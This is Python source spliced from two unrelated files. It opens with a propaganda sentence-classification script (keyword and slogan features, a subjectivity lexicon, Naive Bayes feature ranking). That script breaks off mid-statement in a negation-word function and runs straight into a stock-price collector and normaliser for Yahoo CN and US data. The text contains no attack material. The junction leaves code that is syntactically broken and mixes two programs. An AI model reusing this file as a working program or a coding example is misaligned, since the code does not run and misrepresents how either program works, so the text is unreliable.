accordingly\ntrain_labels_folder = \"datasets/train-labels-SLC\"\ndev_template_labels_file = \"datasets/dev.template-output-SLC.out\"\ntask_SLC_output_file = \"baseline-output-SLC_whatemotionsl3.txt\"\n\n#\n# Baseline for Task SLC\n#\n# Our baseline uses a logistic regression classifier on one feature only: the length of the sentence.\n#\n# Requirements: sklearn, numpy\n#\n\n\nfrom sklearn.linear_model import LogisticRegression,LogisticRegressionCV\nimport glob\nimport os.path\nimport numpy as np\nimport pickle\nimport sys\nfrom sklearn.feature_extraction.text import TfidfVectorizer,CountVectorizer\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\nfrom sklearn.decomposition import LatentDirichletAllocation\nfrom sklearn.naive_bayes import BernoulliNB\nimport pandas as pd\n\ndef read_articles_from_file_list(folder_name, file_pattern=\"*.txt\"):\n \"\"\"\n Read articles from files matching patterns from \n the directory . \n The content of the article is saved in the array .\n Each element of is one line of the article.\n Two additional arrays are created: and\n , holding the id of the sentences and the article.\n The arrays and are the first\n two columns of the predictions for the article, i.e. the format\n of the file , they will be used to match\n the sentences with their gold labels in \n or .\n \"\"\"\n file_list = glob.glob(os.path.join(folder_name, file_pattern))\n article_id_list, sentence_id_list, sentence_list = ([], [], [])\n for filename in sorted(file_list):\n article_id = os.path.basename(filename).split(\".\")[0][7:]\n with open(filename, \"r\", encoding=\"utf-8\") as f:\n for sentence_id, row in enumerate(f.readlines(), 1):\n sentence_list.append(row.rstrip())\n article_id_list.append(article_id)\n sentence_id_list.append(str(sentence_id))\n return article_id_list, sentence_id_list, sentence_list\n\n\ndef are_ids_aligned(article_id_list, sentence_id_list, \n reference_article_id_list, reference_sentence_id_list):\n \"\"\"\n check whether the two lists of ids of the articles and the sentences are aligned\n \"\"\"\n for art, ref_art, sent, ref_sent in zip(article_id_list, reference_article_id_list, \n sentence_id_list, reference_sentence_id_list):\n if art != ref_art:\n print(\"ERROR: article ids do not match: article id = %s, reference article id = %s\"%(art, ref_art))\n return False\n if sent != ref_sent:\n print(\"ERROR: sentence ids do not match: article id:%s,%s sentence id:%s,%s\" %(art, ref_art, sent, ref_sent))\n return False\n return True\n\n\ndef read_predictions_from_file(filename):\n \"\"\"\n Reader for the gold file and the template output file. \n Return values are three arrays with article ids, sentence ids and labels \n (or ? in the case of a template file). For more info on the three \n arrays see comments in function read_articles_from_file_list()\n \"\"\"\n articles_id, sentence_id_list, gold_labels = ([], [], [])\n with open(filename, \"r\") as f:\n for row in f.readlines():\n article_id, sentence_id, gold_label = row.rstrip().split(\"\\t\")\n articles_id.append(article_id)\n sentence_id_list.append(sentence_id)\n gold_labels.append(gold_label)\n return articles_id, sentence_id_list, gold_labels\n\n\ndef read_predictions_from_file_list(folder_name, file_pattern):\n \"\"\"\n Reader for the gold label files and the template output files\n is the folder hosting the files. \n values are {\"*.task-SLC.labels\", \"*.task-SLC-template.out\"}. \n Return values are three arrays with article ids, sentence ids and labels \n (or ? in the case of a template file). For more info on the three \n arrays see comments in function read_articles_from_file_list()\n \"\"\"\n gold_file_list = glob.glob(os.path.join(folder_name, file_pattern))\n articles_id, sentence_id_list, gold_labels = ([], [], [])\n for filename in sorted(gold_file_list):\n art_ids, sent_ids, golds = read_predictions_from_file(filename)\n articles_id += art_ids\n sentence_id_list += sent_ids\n gold_labels += golds\n return articles_id, sentence_id_list, gold_labels\n\ndef interpretemodel(model,vectorize):\n # print(vectorize.vocabulary_)\n # for i in range(0, 2):\n # print(model.feature_log_prob_[i][vectorize.vocabulary_.get('amazing')])\n feature_ranks = sorted(zip(model.feature_log_prob_[0], vectorize.get_feature_names()))\n very_negative_features = feature_ranks[-10:]\n print(very_negative_features)\n log_ratios = []\n features = vectorize.get_feature_names()\n vneg_cond_prob = model.feature_log_prob_[0]\n vpos_cond_prob = model.feature_log_prob_[1]\n\n for i in range(0, len(features)):\n log_ratio = vpos_cond_prob[i] - vneg_cond_prob[i]\n log_ratios.append(log_ratio)\n\n exercise_C_ranks = sorted(zip(log_ratios, features))\n print(exercise_C_ranks[:50])#non-propaganda\n print(exercise_C_ranks[-50:])#propaganda\nimport nltk\nimport string\nfrom spacy.lang.en.stop_words import STOP_WORDS\ndef common_word(tokinize_text):\n punctuations = string.punctuation\n stopwords = list(STOP_WORDS)\n stopwords = stopwords+[\"’\",'“','”','``',\"''\",\"...\"]\n # tokinize_text = [nltk.word_tokenize(text.lower()) for text in X]\n new_text = []\n for tt in tokinize_text:\n new_text.extend(tt)\n new_text = [text for text in new_text if (text not in stopwords and text not in punctuations and len(text)>1)]\n all_words = nltk.FreqDist(new_text)\n word_items = all_words.most_common(500)\n # print(word_items)\n word_features = [word for (word, freq) in word_items]\n return word_features\n\ndef whatabout(X):\n Xl = X.lower()\n feature = []\n if \"what about\" in Xl :\n feature.append(1)\n else:\n feature.append(0)\n if \"how dare you\" in Xl:\n feature.append(1)\n else:\n feature.append(0)\n if \"time for\" in X and \"at the time\" not in Xl:\n feature.append(1)\n else:\n feature.append(0)\n if \"hitler\" in X or \"extremists\" in Xl:\n feature.append(1)\n else:\n feature.append(0)\n # nt = nltk.word_tokenize(X)\n # if \"extremists\" in X:\n # feature.append(1)\n # else:\n # feature.append(0)\n # if len(nt)>0 and nltk.pos_tag([nt[0]])=='VB':\n # feature.append(1)\n # else:\n # feature.append(0)\n\n # if \"stupid\" in X:\n # feature.append(1)\n # else:\n # feature.append(0)\n # if \"agree\" in X:\n # feature.append(1)\n # else:\n # feature.append(0)\n if \"either\" in X and \"or\" in Xl:\n feature.append(1)\n else:\n feature.append(0)\n # if \"Black Death\" in X\n # if \"or\" in X and \"not\" not in X and \"nor\" not in X and \"no\" not in X and \"little\" not in X:\n # feature.append(1)\n # else:\n # feature.append(0)\n\n # if \"nor\" in X and \"or\" not in X and \"neither\" not in X:\n # feature.append(1)\n # else:\n # feature.append(0)\n\n\n # if \"sanctuary\" in X:\n # feature.append(1)\n # else:\n # feature.append(0)\n\n\n return feature\nimport re\ndef slogan(X):\n feature=[]\n group1 = re.findall('‘(.*)’',X)\n group2 = re.findall('“(.*)”',X)\n group3 = re.findall('\\\"(.*)\\\"', X)\n g=group1+group2+group3\n flag=False\n for gg in g:\n if gg.istitle() or gg.isupper():\n print(gg)\n flag=True\n if flag:\n feature.append(1)\n else:\n feature.append(0)\n return feature\n\n\n\n\n\n\ndef readSubjectivity():\n path = 'subjclueslen1-HLTEMNLP05.tff'\n flexicon = open(path, 'r')\n # initialize an empty dictionary\n sldict = []\n for line in flexicon:\n fields = line.split() # default is to split on whitespace\n # split each field on the '=' and keep the second part as the value\n strength = fields[0].split(\"=\")[1]\n word = fields[2].split(\"=\")[1]\n posTag = fields[3].split(\"=\")[1]\n stemmed = fields[4].split(\"=\")[1]\n polarity = fields[5].split(\"=\")[1]\n if (stemmed == 'y'):\n isStemmed = True\n else:\n isStemmed = False\n # put a dictionary entry with the word as the keyword\n # and a list of the other values\n sldict.append([strength, posTag, isStemmed, polarity])\n # sldict[word] = [strength, posTag, isStemmed, polarity]\n return sldict\n\ndef SL_features(document, SL):\n\n document_words = set(document)\n# count variables for the 4 classes of subjectivity\n weakPos = 0\n strongPos = 0\n weakNeg = 0\n strongNeg = 0\n positivecount = 0\n negativecount = 0\n for word in document_words:\n if word in SL:\n strength, posTag, isStemmed, polarity = SL[word]\n if strength == 'weaksubj' and polarity == 'positive':\n weakPos += 1\n if strength == 'strongsubj' and polarity == 'positive':\n strongPos += 1\n if strength == 'weaksubj' and polarity == 'negative':\n weakNeg += 1\n if strength == 'strongsubj' and polarity == 'negative':\n strongNeg += 1\n positivecount = weakPos + (2 * strongPos)\n negativecount = weakNeg + (2 * strongNeg)\n\n return positivecount,negativecount\nnegationwords = ['no', 'not', 'never', 'none', 'nowhere', 'nothing', 'noone', 'rather', 'hardly', 'scarcely', 'rarely', 'seldom', 'neither', 'nor']\n\ndef negation_words(document):\n negation = []\n for i in range(0,len(document)):\n word = document[i]\n if ((i+1) [pd.DataFrame]:\n def _get_simple(start_, end_):\n self._sleep()\n _remote_interval = \"1m\" if self._interval == self.INTERVAL_1min else self._interval\n return self.get_data_from_remote(\n symbol,\n interval=_remote_interval,\n start=start_,\n end=end_,\n show_1min_logging=self._show_1min_logging,\n )\n\n _result = None\n if self._interval == self.INTERVAL_1d:\n _result = _get_simple(self.start_datetime, self.end_datetime)\n elif self._interval == self.INTERVAL_1min:\n if self._next_datetime >= self._latest_datetime:\n _result = _get_simple(self.start_datetime, self.end_datetime)\n else:\n _res = []\n\n def _get_multi(start_, end_):\n _resp = _get_simple(start_, end_)\n if _resp is not None and not _resp.empty:\n _res.append(_resp)\n\n for _s, _e in (\n (self.start_datetime, self._next_datetime),\n (self._latest_datetime, self.end_datetime),\n ):\n _get_multi(_s, _e)\n for _start in pd.date_range(self._next_datetime, self._latest_datetime, closed=\"left\"):\n _end = _start + pd.Timedelta(days=1)\n _get_multi(_start, _end)\n if _res:\n _result = pd.concat(_res, sort=False).sort_values([\"symbol\", \"date\"])\n else:\n raise ValueError(f\"cannot support {self._interval}\")\n return _result\n\n\nclass YahooCollector:\n def __init__(\n self,\n save_dir: [str, Path],\n start=None,\n end=None,\n interval=\"1d\",\n max_workers=4,\n max_collector_count=2,\n delay=0,\n check_data_length: bool = False,\n limit_nums: int = None,\n show_1min_logging: bool = False,\n ):\n \"\"\"\n\n Parameters\n ----------\n save_dir: str\n stock save dir\n max_workers: int\n workers, default 4\n max_collector_count: int\n default 2\n delay: float\n time.sleep(delay), default 0\n interval: str\n freq, value from [1min, 1d], default 1min\n start: str\n start datetime, default None\n end: str\n end datetime, default None\n check_data_length: bool\n check data length, by default False\n limit_nums: int\n using for debug, by default None\n show_1min_logging: bool\n show 1m logging, by default False; if True, there may be many warning logs\n \"\"\"\n self.save_dir = Path(save_dir).expanduser().resolve()\n self.save_dir.mkdir(parents=True, exist_ok=True)\n\n self._delay = delay\n self.max_workers = max_workers\n self._max_collector_count = max_collector_count\n self._mini_symbol_map = {}\n self._interval = interval\n self._check_small_data = check_data_length\n\n self.stock_list = sorted(set(self.get_stock_list()))\n if limit_nums is not None:\n try:\n self.stock_list = self.stock_list[: int(limit_nums)]\n except Exception as e:\n logger.warning(f\"Cannot use limit_nums={limit_nums}, the parameter will be ignored\")\n\n self.yahoo_data = YahooData(\n timezone=self._timezone,\n start=start,\n end=end,\n interval=interval,\n delay=delay,\n show_1min_logging=show_1min_logging,\n )\n\n @property\n @abc.abstractmethod\n def min_numbers_trading(self):\n # daily, one year: 252 / 4\n # us 1min, a week: 6.5 * 60 * 5\n # cn 1min, a week: 4 * 60 * 5\n raise NotImplementedError(\"rewrite min_numbers_trading\")\n\n @abc.abstractmethod\n def get_stock_list(self):\n raise NotImplementedError(\"rewrite get_stock_list\")\n\n @property\n @abc.abstractmethod\n def _timezone(self):\n raise NotImplementedError(\"rewrite get_timezone\")\n\n def save_stock(self, symbol, df: pd.DataFrame):\n \"\"\"save stock data to file\n\n Parameters\n ----------\n symbol: str\n stock code\n df : pd.DataFrame\n df.columns must contain \"symbol\" and \"datetime\"\n \"\"\"\n if df.empty:\n logger.warning(f\"{symbol} is empty\")\n return\n\n symbol = self.normalize_symbol(symbol)\n symbol = code_to_fname(symbol)\n stock_path = self.save_dir.joinpath(f\"{symbol}.csv\")\n df[\"symbol\"] = symbol\n if stock_path.exists():\n _old_df = pd.read_csv(stock_path)\n df = _old_df.append(df, sort=False)\n df.to_csv(stock_path, index=False)\n\n def _save_small_data(self, symbol, df):\n if len(df) <= self.min_numbers_trading:\n logger.warning(f\"the number of trading days of {symbol} is less than {self.min_numbers_trading}!\")\n _temp = self._mini_symbol_map.setdefault(symbol, [])\n _temp.append(df.copy())\n return None\n else:\n if symbol in self._mini_symbol_map:\n self._mini_symbol_map.pop(symbol)\n return symbol\n\n def _get_data(self, symbol):\n _result = None\n df = self.yahoo_data.get_data(symbol)\n if isinstance(df, pd.DataFrame):\n if not df.empty:\n if self._check_small_data:\n if self._save_small_data(symbol, df) is not None:\n _result = symbol\n self.save_stock(symbol, df)\n else:\n _result = symbol\n self.save_stock(symbol, df)\n return _result\n\n def _collector(self, stock_list):\n\n error_symbol = []\n with ThreadPoolExecutor(max_workers=self.max_workers) as executor:\n with tqdm(total=len(stock_list)) as p_bar:\n for _symbol, _result in zip(stock_list, executor.map(self._get_data, stock_list)):\n if _result is None:\n error_symbol.append(_symbol)\n p_bar.update()\n print(error_symbol)\n logger.info(f\"error symbol nums: {len(error_symbol)}\")\n logger.info(f\"current get symbol nums: {len(stock_list)}\")\n error_symbol.extend(self._mini_symbol_map.keys())\n return sorted(set(error_symbol))\n\n def collector_data(self):\n \"\"\"collector data\"\"\"\n logger.info(\"start collector yahoo data......\")\n stock_list = self.stock_list\n for i in range(self._max_collector_count):\n if not stock_list:\n break\n logger.info(f\"getting data: {i+1}\")\n stock_list = self._collector(stock_list)\n logger.info(f\"{i+1} finish.\")\n for _symbol, _df_list in self._mini_symbol_map.items():\n self.save_stock(_symbol, pd.concat(_df_list, sort=False).drop_duplicates([\"date\"]).sort_values([\"date\"]))\n if self._mini_symbol_map:\n logger.warning(f\"less than {self.min_numbers_trading} stock list: {list(self._mini_symbol_map.keys())}\")\n logger.info(f\"total {len(self.stock_list)}, error: {len(set(stock_list))}\")\n\n self.download_index_data()\n\n @abc.abstractmethod\n def download_index_data(self):\n \"\"\"download index data\"\"\"\n raise NotImplementedError(\"rewrite download_index_data\")\n\n @abc.abstractmethod\n def normalize_symbol(self, symbol: str):\n \"\"\"normalize symbol\"\"\"\n raise NotImplementedError(\"rewrite normalize_symbol\")\n\n\nclass YahooCollectorCN(YahooCollector, ABC):\n def get_stock_list(self):\n logger.info(\"get HS stock symbos......\")\n symbols = get_hs_stock_symbols()\n logger.info(f\"get {len(symbols)} symbols.\")\n return symbols\n\n def normalize_symbol(self, symbol):\n symbol_s = symbol.split(\".\")\n symbol = f\"sh{symbol_s[0]}\" if symbol_s[-1] == \"ss\" else f\"sz{symbol_s[0]}\"\n return symbol\n\n @property\n def _timezone(self):\n return \"Asia/Shanghai\"\n\n\nclass YahooCollectorCN1d(YahooCollectorCN):\n @property\n def min_numbers_trading(self):\n return 252 / 4\n\n def download_index_data(self):\n # TODO: from MSN\n _format = \"%Y%m%d\"\n _begin = self.yahoo_data.start_datetime.strftime(_format)\n _end = (self.yahoo_data.end_datetime + pd.Timedelta(days=-1)).strftime(_format)\n for _index_name, _index_code in {\"csi300\": \"000300\", \"csi100\": \"000903\"}.items():\n logger.info(f\"get bench data: {_index_name}({_index_code})......\")\n try:\n df = pd.DataFrame(\n map(\n lambda x: x.split(\",\"),\n requests.get(INDEX_BENCH_URL.format(index_code=_index_code, begin=_begin, end=_end)).json()[\n \"data\"\n ][\"klines\"],\n )\n )\n except Exception as e:\n logger.warning(f\"get {_index_name} error: {e}\")\n continue\n df.columns = [\"date\", \"open\", \"close\", \"high\", \"low\", \"volume\", \"money\", \"change\"]\n df[\"date\"] = pd.to_datetime(df[\"date\"])\n df = df.astype(float, errors=\"ignore\")\n df[\"adjclose\"] = df[\"close\"]\n df[\"symbol\"] = f\"sh{_index_code}\"\n _path = self.save_dir.joinpath(f\"sh{_index_code}.csv\")\n if _path.exists():\n _old_df = pd.read_csv(_path)\n df = _old_df.append(df, sort=False)\n df.to_csv(_path, index=False)\n time.sleep(5)\n\n\nclass YahooCollectorCN1min(YahooCollectorCN):\n @property\n def min_numbers_trading(self):\n return 60 * 4 * 5\n\n def download_index_data(self):\n # TODO: 1m\n logger.warning(f\"{self.__class__.__name__} {self._interval} does not support: download_index_data\")\n\n\nclass YahooCollectorUS(YahooCollector, ABC):\n def get_stock_list(self):\n logger.info(\"get US stock symbols......\")\n symbols = get_us_stock_symbols() + [\n \"^GSPC\",\n \"^NDX\",\n \"^DJI\",\n ]\n logger.info(f\"get {len(symbols)} symbols.\")\n return symbols\n\n def download_index_data(self):\n pass\n\n def normalize_symbol(self, symbol):\n return code_to_fname(symbol).upper()\n\n @property\n def _timezone(self):\n return \"America/New_York\"\n\n\nclass YahooCollectorUS1d(YahooCollectorUS):\n @property\n def min_numbers_trading(self):\n return 252 / 4\n\n\nclass YahooCollectorUS1min(YahooCollectorUS):\n @property\n def min_numbers_trading(self):\n return 60 * 6.5 * 5\n\n\nclass YahooNormalize:\n COLUMNS = [\"open\", \"close\", \"high\", \"low\", \"volume\"]\n DAILY_FORMAT = \"%Y-%m-%d\"\n\n def __init__(\n self,\n date_field_name: str = \"date\",\n symbol_field_name: str = \"symbol\",\n ):\n \"\"\"\n\n Parameters\n ----------\n date_field_name: str\n date field name, default is date\n symbol_field_name: str\n symbol field name, default is symbol\n \"\"\"\n self._date_field_name = date_field_name\n self._symbol_field_name = symbol_field_name\n\n self._calendar_list = self._get_calendar_list()\n\n @staticmethod\n def normalize_yahoo(\n df: pd.DataFrame,\n calendar_list: list = None,\n date_field_name: str = \"date\",\n symbol_field_name: str = \"symbol\",\n ):\n if df.empty:\n return df\n symbol = df.loc[df[symbol_field_name].first_valid_index(), symbol_field_name]\n columns = copy.deepcopy(YahooNormalize.COLUMNS)\n df = df.copy()\n df.set_index(date_field_name, inplace=True)\n df.index = pd.to_datetime(df.index)\n df = df[~df.index.duplicated(keep=\"first\")]\n if calendar_list is not None:\n df = df.reindex(\n pd.DataFrame(index=calendar_list)\n .loc[\n pd.Timestamp(df.index.min()).date() : pd.Timestamp(df.index.max()).date()\n + pd.Timedelta(hours=23, minutes=59)\n ]\n .index\n )\n df.sort_index(inplace=True)\n df.loc[(df[\"volume\"] <= 0) | np.isnan(df[\"volume\"]), set(df.columns) - {symbol_field_name}] = np.nan\n _tmp_series = df[\"close\"].fillna(method=\"ffill\")\n df[\"change\"] = _tmp_series / _tmp_series.shift(1) - 1\n columns += [\"change\"]\n df.loc[(df[\"volume\"] <= 0) | np.isnan(df[\"volume\"]), columns] = np.nan\n\n df[symbol_field_name] = symbol\n df.index.names = [date_field_name]\n return df.reset_index()\n\n def normalize(self, df: pd.DataFrame) -> pd.DataFrame:\n # normalize\n df = self.normalize_yahoo(df, self._calendar_list, self._date_field_name, self._symbol_field_name)\n # adjusted price\n df = self.adjusted_price(df)\n return df\n\n @abc.abstractmethod\n def _get_calendar_list(self):\n \"\"\"Get benchmark calendar\"\"\"\n raise NotImplementedError(\"\")\n\n @abc.abstractmethod\n def adjusted_price(self, df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"adjusted price\"\"\"\n raise NotImplementedError(\"rewrite adjusted_price\")\n\n\nclass YahooNormalize1d(YahooNormalize, ABC):\n DAILY_FORMAT = \"%Y-%m-%d\"\n\n def adjusted_price(self, df: pd.DataFrame) -> pd.DataFrame:\n if df.empty:\n return df\n df = df.copy()\n df.set_index(self._date_field_name, inplace=True)\n if \"adjclose\" in df:\n df[\"factor\"] = df[\"adjclose\"] / df[\"close\"]\n df[\"factor\"] = df[\"factor\"].fillna(method=\"ffill\")\n else:\n df[\"factor\"] = 1\n for _col in self.COLUMNS:\n if _col not in df.columns:\n continue\n if _col == \"volume\":\n df[_col] = df[_col] / df[\"factor\"]\n else:\n df[_col] = df[_col] * df[\"factor\"]\n df.index.names = [self._date_field_name]\n return df.reset_index()\n\n def normalize(self, df: pd.DataFrame) -> pd.DataFrame:\n df = super(YahooNormalize1d, self).normalize(df)\n df = self._manual_adj_data(df)\n return df\n\n def _manual_adj_data(self, df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"manual adjust data: All fields (except change) are standardized according to the close of the first day\"\"\"\n if df.empty:\n return df\n df = df.copy()\n df.sort_values(self._date_field_name, inplace=True)\n df = df.set_index(self._date_field_name)\n df = df.loc[df[\"close\"].first_valid_index() :]\n _close = df[\"close\"].iloc[0]\n for _col in df.columns:\n if _col == self._symbol_field_name:\n continue\n if _col == \"volume\":\n df[_col] = df[_col] * _close\n elif _col != \"change\":\n df[_col] = df[_col] / _close\n else:\n pass\n return df.reset_index()\n\n\nclass YahooNormalize1min(YahooNormalize, ABC):\n AM_RANGE = None # type: tuple # eg: (\"09:30:00\", \"11:29:00\")\n PM_RANGE = None # type: tuple # eg: (\"13:00:00\", \"14:59:00\")\n\n # Whether the trading day of 1min data is consistent with 1d\n CONSISTENT_1d = False\n\n def __init__(\n self,\n date_field_name: str = \"date\",\n symbol_field_name: str = \"symbol\",\n ):\n \"\"\"\n\n Parameters\n ----------\n date_field_name: str\n date field name, default is date\n symbol_field_name: str\n symbol field name, default is symbol\n \"\"\"\n super(YahooNormalize1min, self).__init__(date_field_name, symbol_field_name)\n _class_name = self.__class__.__name__.replace(\"min\", \"d\")\n _class = getattr(importlib.import_module(\"collector\"), _class_name) # type: Type[YahooNormalize]\n self.data_1d_obj = _class(self._date_field_name, self._symbol_field_name)\n\n @property\n def calendar_list_1d(self):\n calendar_list_1d = getattr(self, \"_calendar_list_1d\", None)\n if calendar_list_1d is None:\n calendar_list_1d = self._get_1d_calendar_list()\n setattr(self, \"_calendar_list_1d\", calendar_list_1d)\n return calendar_list_1d\n\n def generate_1min_from_daily(self, calendars: Iterable) -> pd.Index:\n res = []\n daily_format = self.DAILY_FORMAT\n am_range = self.AM_RANGE\n pm_range = self.PM_RANGE\n for _day in calendars:\n for _range in [am_range, pm_range]:\n res.append(\n pd.date_range(\n f\"{_day.strftime(daily_format)} {_range[0]}\",\n f\"{_day.strftime(daily_format)} {_range[1]}\",\n freq=\"1min\",\n )\n )\n\n return pd.Index(sorted(set(np.hstack(res))))\n\n def adjusted_price(self, df: pd.DataFrame) -> pd.DataFrame:\n # TODO: using daily data factor\n if df.empty:\n return df\n df = df.copy()\n symbol = df.iloc[0][self._symbol_field_name]\n # get 1d data from yahoo\n _start = pd.Timestamp(df[self._date_field_name].min()).strftime(self.DAILY_FORMAT)\n _end = (pd.Timestamp(df[self._date_field_name].max()) + pd.Timedelta(days=1)).strftime(self.DAILY_FORMAT)\n data_1d = YahooData.get_data_from_remote(self.symbol_to_yahoo(symbol), interval=\"1d\", start=_start, end=_end)\n if data_1d is None or data_1d.empty:\n df[\"factor\"] = 1\n # TODO: np.nan or 1 or 0\n df[\"paused\"] = np.nan\n else:\n data_1d = self.data_1d_obj.normalize(data_1d) # type: pd.DataFrame\n # NOTE: volume is np.nan or volume <= 0, paused = 1\n # FIXME: find a more accurate data source\n data_1d[\"paused\"] = 0\n data_1d.loc[(data_1d[\"volume\"].isna()) | (data_1d[\"volume\"] <= 0), \"paused\"] = 1\n data_1d = data_1d.set_index(self._date_field_name)\n\n # add factor from 1d data\n df[\"date_tmp\"] = df[self._date_field_name].apply(lambda x: pd.Timestamp(x).date())\n df.set_index(\"date_tmp\", inplace=True)\n df.loc[:, \"factor\"] = data_1d[\"factor\"]\n df.loc[:, \"paused\"] = data_1d[\"paused\"]\n df.reset_index(\"date_tmp\", drop=True, inplace=True)\n\n if self.CONSISTENT_1d:\n # the date sequence is consistent with 1d\n df.set_index(self._date_field_name, inplace=True)\n df = df.reindex(\n self.generate_1min_from_daily(\n pd.to_datetime(data_1d.reset_index()[self._date_field_name].drop_duplicates())\n )\n )\n df[self._symbol_field_name] = df.loc[df[self._symbol_field_name].first_valid_index()][\n self._symbol_field_name\n ]\n df.index.names = [self._date_field_name]\n df.reset_index(inplace=True)\n for _col in self.COLUMNS:\n if _col not in df.columns:\n continue\n if _col == \"volume\":\n df[_col] = df[_col] / df[\"factor\"]\n else:\n df[_col] = df[_col] * df[\"factor\"]\n return df\n\n @abc.abstractmethod\n def symbol_to_yahoo(self, symbol):\n raise NotImplementedError(\"rewrite symbol_to_yahoo\")\n\n @abc.abstractmethod\n def _get_1d_calendar_list(self):\n raise NotImplementedError(\"rewrite _get_1d_calendar_list\")\n\n\nclass YahooNormalizeUS:\n def _get_calendar_list(self):\n # TODO: from MSN\n return get_calendar_list(\"US_ALL\")\n\n\nclass YahooNormalizeUS1d(YahooNormalizeUS, YahooNormalize1d):\n pass\n\n\nclass YahooNormalizeUS1min(YahooNormalizeUS, YahooNormalize1min):\n CONSISTENT_1d = False\n\n def _get_calendar_list(self):\n # TODO: support 1min\n raise ValueError(\"Does not support 1min\")\n\n def _get_1d_calendar_list(self):\n return get_calendar_list(\"US_ALL\")\n\n def symbol_to_yahoo(self, symbol):\n return fname_to_code(symbol)\n\n\nclass YahooNormalizeCN:\n def _get_calendar_list(self):\n # TODO: from MSN\n return get_calendar_list(\"ALL\")\n\n\nclass YahooNormalizeCN1d(YahooNormalizeCN, YahooNormalize1d):\n pass\n\n\nclass YahooNormalizeCN1min(YahooNormalizeCN, YahooNormalize1min):\n AM_RANGE = (\"09:30:00\", \"11:29:00\")\n PM_RANGE = (\"13:00:00\", \"14:59:00\")\n\n CONSISTENT_1d = True\n\n def _get_calendar_list(self):\n return self.generate_1min_from_daily(self.calendar_list_1d)\n\n def symbol_to_yahoo(self, symbol):\n if \".\" not in symbol:\n _exchange = symbol[:2]\n _exchange = \"ss\" if _exchange == \"sh\" else _exchange\n symbol = symbol[2:] + \".\" + _exchange\n return symbol\n\n def _get_1d_calendar_list(self):\n return get_calendar_list(\"ALL\")\n\n\nclass Normalize:\n def __init__(\n self,\n source_dir: [str, Path],\n target_dir: [str, Path],\n normalize_class: Type[YahooNormalize],\n max_workers: int = 16,\n date_field_name: str = \"date\",\n symbol_field_name: str = \"symbol\",\n ):\n \"\"\"\n\n Parameters\n ----------\n source_dir: str or Path\n The directory where the raw data collected from the Internet is saved\n target_dir: str or Path\n Directory for normalize data\n normalize_class: Type[YahooNormalize]\n normalize class\n max_workers: int\n Concurrent number, default is 16\n date_field_name: str\n date field name, default is date\n symbol_field_name: str\n symbol field name, default is symbol\n \"\"\"\n if not (source_dir and target_dir):\n raise ValueError(\"source_dir and target_dir cannot be None\")\n self._source_dir = Path(source_dir).expanduser()\n self._target_dir = Path(target_dir).expanduser()\n self._target_dir.mkdir(parents=True, exist_ok=True)\n\n self._max_workers = max_workers\n\n self._normalize_obj = normalize_class(date_field_name=date_field_name, symbol_field_name=symbol_field_name)\n\n def _executor(self, file_path: Path):\n file_path = Path(file_path)\n df = pd.read_csv(file_path)\n df = self._normalize_obj.normalize(df)\n if not df.empty:\n df.to_csv(self._target_dir.joinpath(file_path.name), index=False)\n\n def normalize(self):\n logger.info(\"normalize data......\")\n\n with ProcessPoolExecutor(max_workers=self._max_workers) as worker:\n file_list = list(self._source_dir.glob(\"*.csv\"))\n with tqdm(total=len(file_list)) as p_bar:\n for _ in worker.map(self._executor, file_list):\n p_bar.update()\n\n\nclass Run:\n def __init__(self, source_dir=None, normalize_dir=None, max_workers=4, region=REGION_CN):\n \"\"\"\n\n Parameters\n ----------\n source_dir: str\n The directory where the raw data collected from the Internet is saved, default \"Path(__file__).parent/source\"\n normalize_dir: str\n Directory for normalize data, default \"Path(__file__).parent/normalize\"\n max_workers: int\n Concurrent number, default is 4\n region: str\n region, value from [\"CN\", \"US\"], default \"CN\"\n \"\"\"\n if source_dir is None:\n source_dir = CUR_DIR.joinpath(\"source\")\n self.source_dir = Path(source_dir).expanduser().resolve()\n self.source_dir.mkdir(parents=True, exist_ok=True)\n\n if normalize_dir is None:\n normalize_dir = CUR_DIR.joinpath(\"normalize\")\n self.normalize_dir = Path(normalize_dir).expanduser().resolve()\n self.normalize_dir.mkdir(parents=True, exist_ok=True)\n\n self._cur_module = importlib.import_module(\"collector\")\n self.max_workers = max_workers\n self.region = region\n\n def download_data(\n self,\n max_collector_count=2,\n delay=0,\n start=None,\n end=None,\n interval=\"1d\",\n check_data_length=False,\n limit_nums=None,\n show_1min_logging=False,\n ):\n \"\"\"download data from Internet\n\n Parameters\n ----------\n max_collector_count: int\n default 2\n delay: float\n time.sleep(delay), default 0\n interval: str\n freq, value from [1min, 1d], default 1d\n start: str\n start datetime, default \"2000-01-01\"\n end: str\n end datetime, default ``pd.Timestamp(datetime.datetime.now() + pd.Timedelta(days=1))``\n check_data_length: bool\n check data length, by default False\n limit_nums: int\n using for debug, by default None\n show_1min_logging: bool\n show 1m logging, by default False; if True, there may be many warning logs\n\n Examples\n ---------\n # get daily data\n $ python collector.py download_data --source_dir ~/.qlib/stock_data/source --region CN --start 2020-11-01 --end 2020-11-10 --delay 0.1 --interval 1d\n # get 1m data\n $ python collector.py download_data --source_dir ~/.qlib/stock_data/source --region CN --start 2020-11-01 --end 2020-11-10 --delay 0.1 --interval 1m\n \"\"\"\n\n _class = getattr(\n self._cur_module, f\"YahooCollector{self.region.upper()}{interval}\"\n ) # type: Type[YahooCollector]\n _class(\n self.source_dir,\n max_workers=self.max_workers,\n max_collector_count=max_collector_count,\n delay=delay,\n start=start,\n end=end,\n interval=interval,\n check_data_length=check_data_length,\n limit_nums=limit_nums,\n show_1min_logging=show_1min_logging,\n ).collector_data()\n\n def normalize_data(self, interval: str = \"1d\", date_field_name: str = \"date\", symbol_field_name: str = \"symbol\"):\n \"\"\"normalize data\n\n Parameters\n ----------\n interval: str\n freq, value from [1min, 1d], default 1d\n date_field_name: str\n date field name, default date\n symbol_field_name: str\n symbol field name, default symbol\n\n Examples\n ---------\n $ python collector.py normalize_data --source_dir ~/.qlib/stock_data/source --normalize_dir ~/.qlib/stock_data/normalize --region CN --interval 1d\n \"\"\"\n _class = getattr(self._cur_module, f\"YahooNormalize{self.region.upper()}{interval}\")\n yc = Normalize(\n source_dir=self.source_dir,\n target_dir=self.normalize_dir,\n normalize_class=_class,\n max_workers=self.max_workers,\n date_field_name=date_field_name,\n symbol_field_name=symbol_field_name,\n )\n yc.normalize()\n\n\nif __name__ == \"__main__\":\n 